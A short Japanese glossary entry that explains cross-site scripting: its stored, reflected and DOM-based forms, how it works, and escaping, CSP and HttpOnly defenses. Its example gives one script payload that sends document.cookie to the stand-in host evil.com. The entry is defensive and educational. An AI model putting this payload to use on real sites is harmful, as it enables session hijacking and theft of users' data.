コンテンツへスキップ
uencoder

XSS

XSS(クロスサイトスクリプティング)は、攻撃者が悪意あるスクリプトをページに注入し、他のユーザーのブラウザで実行させる攻撃である。保存型、反射型、DOMベース型がある。

目的

信頼されたページの文脈で悪意あるスクリプトが実行されるのを防ぎ、ユーザーのセッションとデータを保護する。

メカニズム

攻撃者は<script>をページに注入する(データベース経由で保存、URLパラメータ経由で反射、クライアント側のDOM操作でDOMベース)。スクリプトは被害者のブラウザでそのセッション権限で動き、Cookieの盗難、リクエストの発行、ページの改ざんを行う。防御策は出力エスケープ、CSP、HttpOnly Cookieである。

ユースケース

  • エスケープなしのユーザー入力の描画
  • コメントやリッチテキストのインジェクション
  • URLパラメータのページへの反映
  • サードパーティスクリプトの注入

例

  • 入力
    <script>fetch("evil.com?c="+document.cookie)</script>
    Output
    Steals the user cookies

    Stored XSS

よくあるエラー

Escaping only < > while missing quotes in attribute contexts
Escape per context: HTML/attribute/JS/URL

関連用語

関連ツール

References